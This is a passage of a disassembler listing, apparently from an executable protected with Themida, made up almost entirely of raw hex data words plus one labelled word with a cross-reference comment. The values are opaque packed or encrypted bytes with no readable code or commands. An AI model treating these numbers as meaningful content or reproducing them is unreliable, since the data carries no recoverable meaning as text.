		dd 0E3935EB2h, 0A4B1ABB3h, 0C3335FB2h, 7776A1Bh, 6FE25656h
		dd 17FBAA40h, 56169B30h, 0F50AB945h, 6EE3344Fh,	9AC49ACAh
		dd 0FCAE1699h, 9DD14D06h, 0FAD3C3ECh, 0B319B510h, 0A4BACC2Ch
		dd 4323F821h, 0D8B283F0h, 59DFD7E8h, 736975A5h,	432389D0h
		dd 0C7A374F0h, 0B553CE75h, 192AF65Ah, 1C8CEC45h, 68CBE86Eh
		dd 0F251CB00h, 103FC866h, 0DD4DAE85h, 0C9F9F40h, 4EB6C0D7h
		dd 17D9h, 2CC939B5h, 730272F7h,	44D141BCh, 7C1989EFh, 42D343A7h
		dd 76B2665h, 0CE31FE97h, 0C68B75Eh, 0C92AF99Ch,	430BBC59h
		dd 9DA35980h, 0D9632416h, 5F57C724h, 410425D9h,	1086F218h
		dd 0E1FDD2E3h, 690171D0h, 0F6AC70D3h, 4051169Bh, 5EB287B5h
		dd 7B9E2537h, 21086F2h,	12820231h, 593F2B24h, 0DA6975A5h
		dd 169BFB76h, 0AF1F9C95h, 0C4F49667h, 6F982BF3h, 0E891BAE7h
		dd 6FD6E818h, 9BA21F5Fh, 0EBF1CDDEh, 0D5DF3158h, 6BCFBC83h
		dd 0EDC2BBFBh, 0D5A90FFDh, 360F9CADh, 0D5E54A8Fh, 57603183h
		dd 0F8D74CC0h, 0FE6ECDE6h, 8E7B4A0Ch, 6B85CC1Ch, 4571E146h
		dd 35FEA248h, 0C586D427h, 0EBF3DC5Bh, 20F565C6h, 0BD40B013h
		dd 24803116h, 6CB274Dh,	88000017h, 48D7BE2Eh, 879C79E9h
		dd 50DFB626h, 3EF580F0h, 0F2A94CBCh, 34A406B9h,	0FD6DD261h
		dd 39A90B18h, 0F464C75Ch, 1DA8B621h, 169DA0F4h,	2446F677h
		dd 1DC657C7h, 4ABDEB94h, 16C7C82Ch, 67C70000h, 0B0111EF7h
		dd 0FF7EB540h, 0B739E68Fh, 181AE47h, 0E4A70491h, 3CD949A9h
		dd 851080E7h, 37DE4EAEh, 7A1B8BE8h, 9BBE8549h, 62169DA0h
		dd 0C7249BA1h, 25D95F57h, 0CA5AE9F5h, 0E9169C0Eh, 0FFB6BC8h
		dd 0B6F79EAFh, 0EA0D4A6Bh, 18897995h, 3B9EA224h, 39651Ch
		dd 6090306Ah, 0BD63E75Eh, 390A108Eh, 0FA895E65h, 85AEA105h
		dd 6E83B323h, 0A4999D0Dh, 5B9DF8Bh, 623A09D5h, 0E3BE4F12h
		dd 0A256E4D2h, 68D96C72h, 0F3B87754h, 0F1421C22h, 0BF6C1E8Eh
		dd 2168DB3Ch, 63A58651h, 34CE092Fh, 4253CD0Dh, 387EEE51h
		dd 968D6847h, 15D8A515h, 4608EB5Ch, 160FD430h, 0FF7F0000h
		dd 0B839E68Fh, 0F776AD48h, 0BF41EE87h, 0F979A64Fh, 0FCAFEC89h
		dd 44D141C1h, 7D1888EFh, 3FD646A6h, 522393F0h, 0A3E65D81h
		dd 4A169DA1h, 93B673C9h, 5F1086F2h, 1087023Eh, 87129BC2h
		dd 0D23E5F10h, 7A5B1086h, 843F5071h, 1086AE5Dh,	77280F20h
		dd 0EF1CCE14h, 0B8811C8Ch, 0A7BDEAE2h, 15AB258Dh, 63E30000h
		dd 0AC0D22F3h, 6BCA593Ch, 0A3051AFBh, 6DCD6233h, 88318FDh
		dd 0D0A51595h, 896CDC63h, 0CBAA1A9Ah, 8E67D754h, 67AA1945h
		dd 6169DA1h, 624FB785h,	0D66D71E1h, 1086F2B3h, 1781693Ah
		dd 2A9A1B67h, 39233905h, 86F2478Ah, 0BF1D2610h,	34D72EDCh
		dd 0FAA9416Eh, 169CA0AEh, 34FF9EAFh, 2FB7D5B2h,	1543BD45h
		dd 0EB4B0000h, 24859A7Bh, 0F352E1B4h, 0BB3DF283h, 0F575AA4Bh
		dd 0F0BBF085h, 28CD3DBDh, 710474FBh, 43D242C2h,	761F8FECh
		dd 9FC2814Dh, 5E169DA6h, 624F9F9Dh, 9A9773E3h, 746DA919h
		dd 0AC8F87F7h, 42A7A20Dh, 0CA97A81Eh, 26h, 0F297B6DEh
		dd 6AC91086h, 0AAE959DEh, 1BFAD545h, 0E277F496h, 1D3A0410h
		dd 5CC86025h, 938169D4h, 14D42Fh, 8D4F0B00h, 86F293B6h
		dd 44DF810h, 0E71086F2h, 0B1596AD6h, 0A3930380h, 2D316115h
		dd 9C0B3A96h, 6C724316h, 0EB8ED372h, 406D1693h,	696650C0h
		dd 85C9A446h, 0EBA5EC57h, 77481693h, 0D591D93h,	4E103FAFh
		dd 82E54E10h, 7A2B2412h, 1693EB57h, 68B11416h, 131693EBh
		dd 5E3D2D02h, 108EEEBEh, 3B286E3Fh, 6AB4ABAh, 1CACECC6h
		dd 4E27971Ah, 44FF60E1h, 1CACEC1Dh, 0B6E0CFE0h,	0CACC3CBDh
		dd 7057862Fh, 0BF9DA111h, 0ACECDD04h, 42873E1Ch, 291CACECh
		dd 0F397A818h, 38A00D98h, 0F142A3D2h, 0AF6C2C94h, 4065E5C1h
		dd 59C9246Fh, 9A8A605Dh, 2E9h, 0AE1EA390h, 624F58BCh, 38296DDDh
		dd 88624DBDh, 203E6E12h, 9C1F7DA5h, 0E72F0016h,	6E0777FAh
		dd 0F8D840C1h, 144CF577h, 3D764867h, 62D233BFh,	0AD6F9D4Dh
		dd 20038DA8h, 836733CEh, 9253F518h, 82AF7F16h, 0B7888EFEh
		dd 0A690007Ch, 0E7D6C1A9h, 24F161E0h, 0B4FA1D3Ah, 0A41D0169h
		dd 0FC2CCCC6h, 227F63E2h, 3CFE1089h, 0ACC24089h, 9A292B1Ch
		dd 1CACC277h, 2D0A25F6h, 0D9E4F541h, 0BBFBD4FAh, 41D444A6h
		dd 0F62090F2h, 0ACF1488Fh, 5C83361Ch, 0D4FDC896h, 971CACF1h
		dd 0C327E486h, 44F4C253h, 87E94A14h, 13361F17h,	1B42B255h
		dd 53F2CCE3h, 1CAC540Eh, 282EDCEDh, 0B154119Dh,	1303141Ah
		dd 20590C49h, 18BA8DECh, 0D242C172h, 1F8FEC43h,	31759C17h
		dd 46B02B9h, 3191A294h,	0C970D5C1h, 0AF5ACD16h,	59ECF200h
		dd 2B93130h, 585ECE2Eh,	2E8B967h, 674AB211h, 227186B8h
		dd 1686EB28h, 75002F20h, 0F3CB3BBEh, 671B46E2h,	0A2BCAE25h
		dd 0B949FE23h, 0BEAC7D02h, 6EDE6350h, 8FCD9128h, 0B949ED34h
		dd 0CBBF9002h, 6BCEF9E4h, 22871AFBh, 0C4A9E7D5h, 8565E693h
		dd 0F5955A1Eh, 0A745h, 0C6246100h, 0C72B8856h, 7C6E5F57h
		dd 3392CC92h, 1086F2EEh, 0B424A08Dh, 0C8A28D82h, 3F77E74Bh
		dd 299E1188h, 0E9BC59C9h, 97A81E84h, 3AAA0D26h,	72F450h
		dd 24C80000h, 525F57C7h, 940465F1h, 0D5BC7BBBh,	0EE5EDDEAh
		dd 1E0F9A07h, 559597A8h, 93000000h, 0B2830BC2h,	37D35A72h
		dd 0B68D4F03h, 1086F293h, 0F7A1495Ah, 7C471747h, 169BF230h
		dd 0EC5CDED3h, 8D899AFEh, 0A31372BFh, 0D5F09A73h, 1693F288h
		dd 0ACEA5ADEh, 0D2C434B7h, 0A935B6FDh, 0E0DDD949h, 0BB6EC7CFh
		dd 0B45BCF14h, 1DBD4009h, 2439DBDh, 57000001h, 7BE3624Fh
		dd 65DDCACEh, 67AF80A5h, 0FABEF496h, 2151F4CAh,	0DC169BFEh
		dd 3EBEF3CBh, 13F7C8CEh, 1DA90819h, 13EC2A9Ah, 2A35223Ch
		dd 71E892Ch, 4AC811B4h,	0E2B31693h, 0E14E1DCDh,	0ADC6F060h
		dd 1FDADC4Ch, 5F82411Bh, 1E16934Bh, 8B325D0Dh, 714DBD3Ch
		dd 0A8560564h, 64C44445h, 0E2CDC2F4h, 0B5386D08h, 3B9DBD6Ah
		dd 85h,	0EB0CAB4Fh, 0F20F52F1h,	0DDEE1086h, 86F22168h
		dd 0D4FBCC10h, 5DDFD40Ah, 0AD4A9EDh, 86F2163Bh,	26C4D510h
		dd 86F27277h, 0EE28F990h, 86F34687h, 0D4FBAA90h, 2595151Eh
		dd 84AC4B45h, 251B969Ah, 23A2BC2Dh, 9086EAFEh, 0BB83AC7Dh
		dd 0E486F676h, 0EA8EF352h, 1C2D1086h, 93171C42h, 0AB1AF323h
		dd 1086EA66h, 37563405h, 577A4913h, 891086EAh, 3304BC2Ch
		dd 1B6B57h, 50610000h, 960665F1h, 0EA807DB9h, 6BB532h
		dd 0BEF30000h, 0D9CACC3Ch, 24C6E959h, 59C924F0h, 0C3426F5Dh
		dd 0CA796353h, 1086F287h, 907A5566h, 0C7AE1EA3h, 5BCB2E83h
		dd 9EFF82AFh, 86F2E227h, 97B88910h, 249FBD9Fh, 1086F2FDh
		dd 0F262A71Eh, 38091086h, 0DDD3B788h, 4DA8EE1Eh, 1086F203h
		dd 51F4EAECh, 1086F208h, 514822F3h, 1A7EEB5Eh, 132097A8h
		dd 79A941B1h, 0B3Fh, 0DD624F8Dh, 0B654296Dh, 72F541FCh
		dd 143B1402h, 900A0D4Ah, 0FF3E6499h, 0E4A2210Bh, 7F9A3221h
		dd 19A4A518h, 9F215359h, 62h, 0A818949Dh, 22C2838Fh, 0AC5E65C7h
		dd 0E010AB88h, 1C4500DEh, 0DF1086F2h, 0AB1A1CCEh, 1086F266h
		dd 83023405h, 0B9FABFB0h, 3363D332h, 4D49B93Eh,	7DC03AAh
		dd 97C491A3h, 0E572163Ah, 36A99713h, 5A7573DCh,	1CD609B0h
		dd 1A79933Bh, 0DBFCBB65h, 0A35AAB53h, 0EDA842E3h, 411B2880h
		dd 21108h, 10AB2400h, 6E52BCE0h, 0DF66C724h, 1086F2BAh
		dd 7F5F7041h, 69D9545Dh, 86F295BCh, 0A3475810h,	0A6AB8F6Fh
		dd 68A82673h, 2DB9h, 10ABCD00h,	4500DEE0h, 1086F21Ch, 0ED47CC76h
		dd 0E858D84Dh, 4FFF33D7h, 86F2A8F4h, 407C4D10h,	0C9246B4Fh
		dd 72566359h, 1FB5h, 10ABD100h,	0F44FBCE0h, 1086F2A8h
		dd 4FCAF2DBh, 311488Dh,	0C46859BCh, 0C924EE26h,	72566359h
		dd 285328B6h, 56C6240Fh, 54C42B88h, 3E73D7B6h, 74494DBDh
		dd 0A6169596h, 5ECE2C9Bh, 7C62E483h, 279080C9h,	0B05A6BEEh
		dd 92F1D609h, 0FF37A706h, 311E8EF2h, 50B3801Eh,	5080E1E0h
		dd 4C3EABDh, 0F56737A7h, 90355CE7h, 0E7B8EE27h,	35A50603h
		dd 39A90829h, 0D76A00FDh, 4C908AE8h, 31EE2790h,	0D7C26160h
		dd 0EC5CDFE8h, 31A12112h, 0B36D7A05h, 76F4D3FAh, 43C06F06h
		dd 61004ADBh, 614E5157h, 0AE0F7360h, 7FB72785h,	9CE3269Dh
		dd 0B98AEE27h, 85C9F496h, 68EE279Ch, 9F168A57h,	1171C230h
		dd 637D96A1h, 1FBF861Ch, 0CD3DBE6Bh, 13830031h,	44A66F4Eh
		dd 253E78E8h, 525E58C8h, 57EE04ABh, 0EE27B832h,	0F1C7E8B9h
		dd 0B734933Ah, 99D90A4Fh, 183768ACh, 0DE4EAD86h, 91F23F03h
		dd 6AC84921h, 648E7FAh,	0EA5ADBD8h, 2786163Bh, 26C4D5EEh
		dd 83446Bh, 0D8BB5598h,	8DA2F703h, 0C72449F1h, 90526557h
		dd 2A818BC7h, 246F65D6h, 6C6155C5h, 0CAB967Eh, 0F23158EBh
		dd 0EBBC1086h, 0AB8FD8C4h, 0A82673A6h, 3EB968h,	0ABCD0000h
		dd 4FE0DC0Ch, 86F2A8F4h, 627C4D10h, 7F835C75h, 0C4A609FFh
		dd 0AA864F50h, 9F070BADh, 526AEC9Eh, 4F64C524h,	87CA7BEBh
		dd 661086F2h, 56427A55h, 0DD624F72h, 271D7D6Dh,	0F9000000h
		dd 0E0DC0CABh, 0F2A8F44Fh, 0F2DB1086h, 246B4FCAh, 566755C5h
		dd 8C189F94h, 857ABC2Ch, 5FD8DAAh, 0A8C20D90h, 0F8B65AC2h
		dd 10108703h, 0FFFD64B4h, 97B688FFh, 501086F2h,	6EF085B5h
		dd 0A6CFE369h, 0E505D242h, 0E92AC09Eh, 9B1A1C8Ch, 1086D576h
		dd 9F970768h, 0D5C13192h, 9E547B32h, 86D5E227h,	97B88910h
		dd 2487ACAEh, 127182B4h, 0B2DD8DA2h, 0D141BC0Bh, 0D343A40Dh
		dd 0F969CEE3h, 0F55934D6h, 0C8CE3EBCh, 931613F7h, 0D54E9332h
		dd 1C2D1086h, 0BBF86233h, 65CAC939h, 0DC9B15F5h, 8F0B6AACh
		dd 6152DD62h, 2C4571E1h, 0DC595DCDh, 0E545822Dh, 49F05A75h
		dd 0C3825C96h, 52D0899Eh, 0EF9E4C5Dh, 0D9FE998Ah, 1D612h
		dd 96B62600h, 511086F2h, 7B617DADh, 0C726B236h,	0B93B7857h
		dd 0F602A149h, 25169C1Fh, 4F3BAB0Ch, 68B75E6Fh,	88999D0Dh
		dd 647DB929h
		db 5, 95h
word_5DF622	dw 17A1h		; DATA XREF: Themida_:0057ACC0o
		dd 0F123F67h, 0BB9C0C6Dh, 0C5EA8DBBh, 55364AF9h, 0E6B7108Eh
		dd 0C0DC4617h, 0AF1321B1h, 0D55h, 0A84DBD39h, 0EF86F67Bh
		dd 0C055C540h, 0F89D0D73h, 0BE57C72Bh, 8BEFA2E9h, 42A57A1Bh
		dd 90EC43D2h, 5DDE5520h, 8FBF08EDh, 9DAEED34h, 2D0F9016h
		dd 5F57C724h, 0E9F525D9h, 0A23FA55Ah, 70F72416h, 231383E4h
		dd 142A052Ah, 472E9E1Fh, 0A9ED5DD8h, 0CBCB3BB8h, 5569995Dh
		dd 276FDF5Ch, 23A2B456h, 10874D87h, 8DF88596h, 4EB1BB3Bh
		dd 0CE3CC28h, 4BAB0000h, 84E53ADBh, 53B28114h, 9B1D12E3h
		dd 55D54A2Bh, 109B10E5h, 0C8AD1D9Dh, 9164D45Bh,	0E3B222A2h
		dd 967FEF4Ch, 7FA2212Dh, 0FE169DAEh, 0C724BF7Dh, 25D95F57h
		dd 0E2F3E9F5h, 4A5118A8h, 2281695Fh, 169B94AAh,	66570C49h
		dd 262087F6h, 42155E9Ch, 0F44F26E1h, 169346ADh,	0BA507F50h
		dd 0D3603506h, 1888E470h, 0A8585E37h, 0AA716678h, 0B2ED1174h
		dd 0E95CE288h, 10B74339h, 0C6EBF3C4h, 111EF767h, 0DD824CB4h
		dd 670CC823h, 0D6554E48h, 0F6CA3066h, 7D4DF8C6h, 1AACBAh
		dd 0CDE14E2Fh, 0F8FEABA5h, 0C3C7Ch, 84F45200h, 4FBF42F1h
		dd 8CFC79A6h, 46B63AE9h, 920280AFh, 0ACE7A403h,	0E837DE4Eh
		dd 0B17E1787h, 1D12E353h, 7C472E9Eh, 0AFAEF352h, 0CC4D169Dh
		dd 0B68D4F70h, 1086F293h, 45FB6BCDh, 16959674h,	0ACBF98A6h
		dd 76F1FB84h, 0CE5CDAB0h, 61E4FA2Ah, 169BBC9Dh,	0B9660F20h
		dd 0E8F6C838h, 93A2345Dh, 67CAB716h, 0E1CEBFF7h, 38B56A09h
		dd 0ABFF2DC8h, 0AE03DB0Bh, 3D6EE24Ah, 0C2B758Fh, 4EF54723h
		dd 169CF1CEh, 1D989EAFh, 1690F1F0h, 9F2687E6h, 1690F17Ah
		dd 171F3001h, 0FF37A70Ah, 0B92A9504h, 1237A611h, 9DBE1DA7h
		dd 0F05C0E47h, 83EE38EDh, 0BA3BE7h, 40710000h, 84B852C2h
		dd 6155C524h, 9581F150h, 6AAC1C9Ch, 0C597F879h,	86F2DBFEh
		dd 3491A210h, 1086F2EDh, 0AE1EA390h, 97B89768h,	5E7B5CFEh
		dd 0A8F1541Bh, 531086D0h, 0AECA7542h, 2366DDE1h, 0CA108640h
		dd 0D7A711F9h, 97C597A7h, 8640E52Ch, 0D3B78810h, 9CA9CCE8h
		dd 26847116h, 0A08F80B6h, 0D5BB66DDh, 0FB777DB7h, 0B1Dh
		dd 0D0A51571h, 876EDE63h, 0C8AD1D98h, 9065D55Bh, 0C6AF1FA3h
		dd 83E7DAD1h, 4AAD8213h, 88E43BDAh, 45A67D18h, 0C79740D5h
		dd 9DACD5FCh, 65D79816h, 8955C524h, 4250A34Ch, 3093EE2Dh
		dd 108625E9h, 67AC8394h, 0ACA19505h, 5B11AFBEh,	25000000h
		dd 6155C524h, 0E7F727D7h, 355CE7F5h, 0B81086F2h, 409803E7h
		dd 0CD169BFAh, 0A7EF5FE0h, 0A724F9D6h, 40B7D68Dh, 0AA3CE36h
		dd 8BEB0000h, 44A57A1Bh, 93F241D4h, 5BDD5223h, 95150AEBh
		dd 505B5025h, 886DDD5Dh, 0D1A4149Bh, 0A372E262h, 0D6BF2F8Ch
		dd 3F62E1EDh, 0BE169DACh, 0C724FF3Dh, 0F1525F57h, 0FA69581h
		dd 1E44A9A0h, 9CC97A8h,	0E0000002h, 0F3C34EB2h,	0D0E1FBC3h
		dd 3B6A0070h, 169BFBD7h, 9B0B6996h, 6FA71798h, 0D6EDB19Eh
		dd 20B9350h, 0EBF323D3h, 30A18C58h, 0A20811EFh,	26FD4BDFh
		dd 7DEB2B04h, 0EB589B9h, 0E95ECA13h, 134CF08h, 664C4FD3h
		dd 3B031484h, 49B11021h, 14225E8Bh, 0C8A28D79h,	6678E84Bh
		dd 9680F04Dh, 6DC2D1B9h, 70FF9E0Eh, 6BB81152h, 9EFE949h
		dd 1F9F0000h, 0D859C6AFh, 17968D68h, 0DF61CEA7h, 1999866Fh
		dd 0DCCFCCA9h, 24F161E1h, 5D38A80Fh, 1FF666C6h,	0B243B310h
		dd 43863D21h, 2A169DADh, 864FD369h, 0B9AFD20Eh,	0A96A0065h
		dd 4CDED848h, 51627CACh, 56E882F2h, 0A266F1EFh,	189B8816h
		dd 0BE916EA8h, 0BC2C93A0h, 0C13191A2h, 8312F8D5h, 3DB4BACh
		dd 0E8D6C1D2h, 0E347D442h, 654A4373h, 5D218785h, 0E64B112Dh
		dd 49741686h, 1087C9F1h, 0C60BBA7Ch, 431CB605h,	0B6055980h
		dd 0AD13241Ch, 86ABB39Ch, 4FE4B121h, 50DC5CE8h,	0B89581F1h
		dd 657EB897h, 72079606h, 6DB1BA9Fh, 93FEB47h, 0EF4F0000h
		dd 2889967Fh, 0E746DDB8h, 2F919E77h, 0E949D6BFh, 8CFF9C79h
		dd 0B441B111h, 0ED88F87Fh, 0AF46B636h, 2930380h, 13360DD1h
		dd 0DA169D92h, 39942319h, 1086F218h, 73716668h,	755A5A4Fh
		dd 0C5F89F4Bh, 79A94D6Bh, 7CEC4C65h, 25FDC88Eh,	28169C40h
		dd 8BEA4717h, 0AA19431Bh, 16939D67h, 36553506h,	9EA0D070h
		dd 8BF9C727h, 89556610h, 0AC68194Ch, 7F6B71D2h,	87F774BDh
		dd 52C241EEh, 0BE58B0CBh, 41C1B3B1h, 8B5h, 8ED5DD9h, 4F26961Bh
		dd 20F565E0h, 583DAD13h, 1EF767CBh, 2B8F0289h, 0E245DABBh
		dd 308CA372h, 7DFE35C0h, 6F5F680Dh, 9D928DD4h, 8DAF7016h
		dd 86F297B6h, 5BEAF410h, 1086F236h, 506E4B5h, 575F36A6h
		dd 67D75BA7h, 6CCF7648h, 0B169C41h, 0AD0F243Ah,	69CB583Dh
		dd 5635BDF9h, 51000008h, 3DB0BABh, 2CDE4EAEh, 1F5F9B2Ah
		dd 0CDDE169Ch, 5ED203C9h, 0F8077F78h, 0A212959Eh, 0D4EF9B74h
		dd 16933789h, 0AEE858DFh, 0CEC838B5h, 0EE4CB52h, 93371237h
		dd 0E7C8D916h, 68E1CC43h, 9DBDDF05h, 1528Bh, 0C8249F00h
		dd 0E2455E58h, 0CC2F4472h, 7A55C540h, 55C5273Ch, 0A11173C0h
		dd 7370375h, 8C372537h,	1086F245h, 48731728h, 1086F259h
		dd 20231324h, 0B2AC4679h, 86F2CE13h, 0EE9CAD10h, 0A64FBF3Dh
		dd 0BC2C8FA4h, 0E831947Ah, 931086F2h, 4CBDAD82h, 0C89680F0h
		dd 4FF3B98Fh, 8648ADF4h, 587F5010h, 0E08AB51Bh,	863B80C5h
		dd 0F666C610h, 0ED4EB3C0h, 863B3356h, 0C6E9BA10h, 12370ED0h
		dd 0D910863Bh, 812CDDC8h, 3A774362h, 0F7A248B8h, 1C7DFFC8h
		dd 836D243Bh, 3FE6F2CFh, 10860C1Ah, 0DFFFD0E1h,	0B7FF6FD2h
		dd 614924C6h, 63D355A1h, 6B6C724Ch, 0B880F629h,	0AE0DFD46h
		dd 10869863h, 140D091Ah, 0DD522393h, 0B7ACEA5Ah, 0F3D2C434h
		dd 0CB2C9B42h, 0A652835Bh, 0CC0E473Fh, 79A6C5A5h, 2A9086F6h
		dd 0AD182656h, 169CCDFDh, 59C6AF80h, 0CA3066D6h, 0B933D2FAh
		dd 48FE59DAh, 0D75A5767h, 0AC5E2F67h, 39FA1BAAh, 0A8791693h
		dd 0AF1E876Eh, 4E279718h, 0A8EE5EE1h, 0E16DCDE6h, 2EDCF363h
		dd 0BA84B484h, 8B88F879h, 82D4B626h, 89C8C3C3h,	0BD819210h
		dd 0A2DD2798h, 9768AE1Eh, 0A60E0FC0h, 0F57AA9C4h, 0C143F085h
		dd 1D488D51h, 0C0308C90h, 263A8FF7h, 0AB032944h, 4003DB0Bh
		dd 169C0B50h, 91A1C2Dh,	0CF5D38A8h, 2DC0CABh, 0AE050B1h
		dd 91F1420Ch, 7218F521h, 86F20A53h, 913CF310h, 0A81A35B8h
		dd 5FDCD597h, 36BAA7EFh, 2101E9C6h, 38h, 55C524F5h, 0F2BFE261h
		dd 0F7C31086h, 0F23B5EE5h, 0F1C21086h, 982F9E19h, 0E576B119h
		dd 4220ABD5h, 0B88B516Dh, 1086CC91h, 0D49F4B5Ch, 8729E8F1h
		dd 9D822210h, 96FFFFFFh, 6557C724h, 0CAB4327h, 0C486E0DCh
		dd 7B3CDC93h, 32D8CDC9h, 2673A60Ah, 2AB968A8h, 0CD000000h
		dd 7BE3624Fh, 0AC153E96h, 2E684710h, 40FFB951h,	0F44F2C10h
		dd 1086F2ADh, 4F3D7F50h, 55C5246Bh, 0B5725667h,	3Fh, 0DC0CABD1h
		dd 4F8D4FE0h, 86F2ADF4h, 3257EE10h, 0B91086F2h,	836738E8h
		dd 86F2F118h, 652D0A10h, 189EC8ADh, 9AFB22Fh, 3FE3E62Eh
		dd 6B4F2C10h, 8955C524h, 0D7FC364Ch, 9E1C4CAh, 24725611h
		dd 0D65D59C9h, 1086F2B3h, 606756BFh, 0BEA075E5h, 0D6CF875h
		dd 8BA4999Dh, 0EDD8B28Bh, 1087023Bh, 0F463DB49h, 4FAFFFFFh
		dd 286EDE62h, 5244B43Bh, 7BB8527Dh, 0EB2E95F6h,	301086F2h
		dd 86F24C95h, 0A21E2F10h, 0CFD7BE91h, 64DFFF2Fh
		dd 169C1FECh, 0F76A071h, 1693DFCEh, 25CD00B7h, 4E3CAC0Ch
		dd 0BD4ADA5Fh, 1A629Dh,	7F580000h, 0F97A9F0Fh, 0E850AE89h
		dd 2EBD8FF1h, 9AB5766Ch, 1B54CF0h, 0D1000000h, 3DBF0BABh
		dd 2DCE2CDh, 0B6E050B1h, 0CA9231D9h, 0AB169BF7h, 2B9AC49Ah
		dd 1693F7E6h, 58D6B485h, 6876E64Bh, 4076E64Bh, 0F5D09B4Fh
		dd 1693F69Ah, 0FEC0308Ch, 0F43C65E0h, 0EEBF1693h, 42C271FCh
		dd 9BCB0CD2h, 227732FCh, 2CF21CCEh, 894E9332h, 1C2D1693h
		dd 0BA8C4B6Eh, 75F7D0FFh, 40C37005h, 75D00ED0h,	1693892Ch
		dd 4D0CFECFh, 0D4ED5DDEh, 64634A37h, 54529F07h,	9B246DD8h
		dd 0F6C71693h, 76B97FE1h, 4F75C559h, 0F151DD62h, 97B89581h
		dd 0D1BCAE9Fh, 9728266Ch, 0D747A50Eh, 373D2DFh,	75153A13h
		dd 113C5h, 0EFD20300h, 1888EA0Bh, 0B316211Eh, 7CA04AF3h
		dd 0DDDF0FABh, 0C3248D4Fh, 806A6353h, 86F2F925h, 19250A10h
		dd 0F2598043h, 13241086h, 6B4FC377h, 70E0624Fh,	1EAE1F9Ah
		dd 6557C724h, 0CAB4327h, 0A286E0DCh, 71E1624Fh,	26BF1A99h
		dd 872568A8h, 1000000h,	0EC69864Fh, 18E18D48h, 58794872h
		dd 86FFA4EDh, 59764710h, 0A5EC5785h, 481086FFh,	4F9F9377h
		dd 0C281E262h, 1086F29Fh, 88624D5Eh, 0F2CA0FB6h, 0E0B11086h
		dd 1C4500DEh, 7D1086F3h, 86F383C6h, 0E7596A10h,	4F0034D6h
		dd 9A70E062h, 2DBD9AC4h, 5D498009h, 24967E6Ch, 47B739C5h
		dd 8D517E4Fh, 5F57C724h, 387EEE52h, 9A826847h, 0FBCA9456h
		dd 1086F2D6h, 0F2499033h, 63341086h, 16FEECBDh,	2CB5h
		dd 0CABD100h, 624FE0DCh, 0C49A70E0h, 0D801C49Ah, 0A31086F2h
		dd 84CDF892h, 0F51086F2h, 6B4FE4D8h, 8955C524h,	5E58C828h
		dd 56918961h, 0FED5B572h, 0E2F3FFFFh, 7654F44h,	48EC9E04h
		dd 5F57C724h, 40F7587Dh, 2FBD96F6h, 0FD6DCE3Bh,	7FFD3618h
		dd 0FA62A71Eh, 38091086h, 3C2E1F17h, 6C72A256h,	0D354E047h
		dd 755A3363h, 0CC04BF95h, 91169BF3h, 0EE2F9680h, 971693E3h
		dd 0EC45AD20h, 18F52191h, 0E35A7F46h, 10211693h, 2EAE3B7Ah
		dd 8E509DBDh, 93EB92B7h, 0A2485916h, 3D82h, 0BAB9600h
		dd 0F04003DBh, 2B169BF5h, 503E2431h, 0C2785BBFh, 93B73E63h
		dd 0FEECBD16h, 9A0A6D9Ah, 0B28CA39Ch, 0A3930381h, 0EF56C0AAh
		dd 1693B7AEh, 5CEDE057h, 9DBD5ED1h, 0BE57h, 0C7243300h
		dd 0CA2A8757h, 9886B05Ah, 73AC149Bh, 22FFD281h,	0E0513916h
		dd 0E454D662h, 9E2F3CBh, 457FB0E7h, 0E9FA34D6h,	13441A8Ah
		dd 0C8C77C20h, 81AB5FCCh, 0D2A31370h, 8627E2EFh, 3FAF0C10h
		dd 0FA6AC956h, 3E8A2EBCh, 734C4ABAh, 7BC3825Ch,	0FA169B21h
		dd 9A5E4C29h, 0D85F546Ah, 0B9512E68h, 20A3B9A3h, 16932AF9h
		dd 0ECD7B384h, 108B45A4h, 4D667849h, 8B987DEDh,	0C5E6B727h
		dd 0A2B1BE13h, 25F3094h, 0CF2F0000h, 869B65Fh, 0C726FD98h
		dd 0F71BE57h, 0C929F69Fh, 0ACDFBC59h, 542191F1h, 0DE858DFh
		dd 4F269616h, 22F363E0h, 0F316ADB1h, 7A169D95h,	0C62443F9h
		dd 1370BF56h, 4F66D2A3h, 286EDE62h, 39FDB357h, 7FFC3509h
		dd 5436070Fh, 0F5F74302h, 0BD86169Bh, 68E80145h, 1CF04579h
		dd 1E4B8733h, 0D922631h, 7636DF13h, 0CE2C8559h,	382AC5Eh
		dd 1693BADAh, 0EDC491A3h, 0C5CD506Ah, 4BAA6AF0h, 858BD6Ch
		dd 6A883762h, 3A7CEC49h, 83E6A545h, 99DBD7Eh, 0C2h, 0B68D4F1Dh
		dd 1086F293h, 70A1495Ah, 0A973A313h, 0F2C910B3h, 0E3B41086h
		dd 38A80A07h, 0F71A77FEh, 57D41086h, 0A2210EE7h, 191A0432h
		dd 15EA2C9Ch, 2F7B3B75h, 2B7C5BCBh, 37A7A9Ch, 8B3A042Bh
		dd 169BEFA3h, 0E858D5C2h, 0E0FED1AEh, 690171D3h, 0ACDC9C0Ah
		dd 0CC92CC92h, 93ECD0F9h, 1B8A9B16h, 1693ECF6h,	0D7C6A475h
		dd 108B875Ch, 0BFF4CADBh, 0F52ACB3Bh, 3D780575h, 1EB1BED0h
		dd 1479C18h, 0E7470000h, 30919E77h, 7FFE35C0h, 37B9660Fh
		dd 81012EC7h, 64278411h, 0BC59C929h, 5900067h, 0B75ECE2Eh
		dd 0FA9B0B68h, 1B3E05C9h, 0E2169D9Ah, 0C6241B21h, 1370BF56h
		dd 2B88D2A3h, 605D59C9h, 0C724928Ah, 0F1525F57h, 0F2C6F481h
		dd 0D1E2FCC2h, 47150171h, 86F2557Ch, 28071810h,	10CF6342h
		dd 614E169Ch, 7D416EDEh, 0AE47B734h, 0CC920281h, 0A5910167h
		dd 0E654C2A8h, 69DCE212h, 10B72073h, 0A7179B98h, 3BC2D3C3h
		dd 0B1BB2BFEh, 0B6EF5361h, 0D8000000h, 1807EE5Eh, 0D74C2999h
		dd 200FE656h, 0CE6530A0h, 8219FC6Ch, 0A4149609h, 6DDD62D1h
		dd 0A9199B88h, 64D457CCh, 0AD184691h, 169D9A64h, 0ABB68607h
		dd 4003DB0Bh, 16A23E4Eh, 0CD14AFADh, 23169DBEh,	15EA2C9Ch
		dd 0D0F09AABh, 49AAB7FFh, 84E73CD9h, 0D8A32214h, 4778E2C0h
		dd 59DAEDE0h, 94170CE9h, 3E67EF2Ch, 4D62DB3Bh, 6B528349h
		dd 0D7E492CDh, 1C9C8D7Dh, 0BF8B6AACh, 87D7E696h, 29C186EAh
		dd 2B883F6Eh, 31901C9Fh, 0FDC1EEC1h, 27C333B4h,	54B1024Ch
